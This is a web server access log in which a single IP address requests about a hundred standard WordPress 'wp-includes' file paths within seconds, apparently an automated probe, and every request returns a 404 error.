45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/error_log HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/locale.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/post-formats.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/rss-functions.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/sitemaps.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/block-i18n.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-theme-json.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/interactivity-api/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-IXR.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/functions.wp-styles.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/utf8.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/theme-compat/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-customize-setting.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-dependencies.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-recovery-mode-cookie-service.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-view-config-data.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/blocks.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-block-type-registry.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-error.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/functions.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/registration.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-plugin-dependencies.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-term-query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/theme.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/build/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/feed.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-oembed.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-application-passwords.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-meta-query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-session-tokens.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-theme-json-schema.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/nav-menu.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/option.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/speculative-loading.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/capabilities.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-http-requests-hooks.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-http-response.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-token-map.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/revision.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/vars.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-block-styles-registry.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-embed.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-theme.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-user-request.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-widget-factory.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/feed-rdf.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/canonical.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-block-supports.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-recovery-mode.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/pluggable.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-smtp.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-filter-sentinel.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-http-requests-response.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/compat.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-json.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/script-loader.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/wp-diff.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/default-constants.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-snoopy.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-block-processor.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-recovery-mode-email-service.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-role.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/rss.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/category.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-roles.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-tax-query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-user.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/class.wp-dependencies.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/date.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:47 -0400] "GET /ba-guo.com.tw/wp-includes/http.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-block-metadata-registry.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/feed-rss2.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/theme.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/sitemaps/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/template-canvas.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-block-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-customize-nav-menus.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-duotone.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/comment.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/kses.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/block-template-utils.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-walker-page.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-block-list.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-image-editor-gd.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-text-diff-renderer-inline.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/taxonomy.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-walker-category.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-walker-nav-menu.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-block-bindings-registry.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-hook.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-http.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/fonts.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-fatal-error-handler.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/wp-db.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/customize/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-editor.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-feed-cache.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
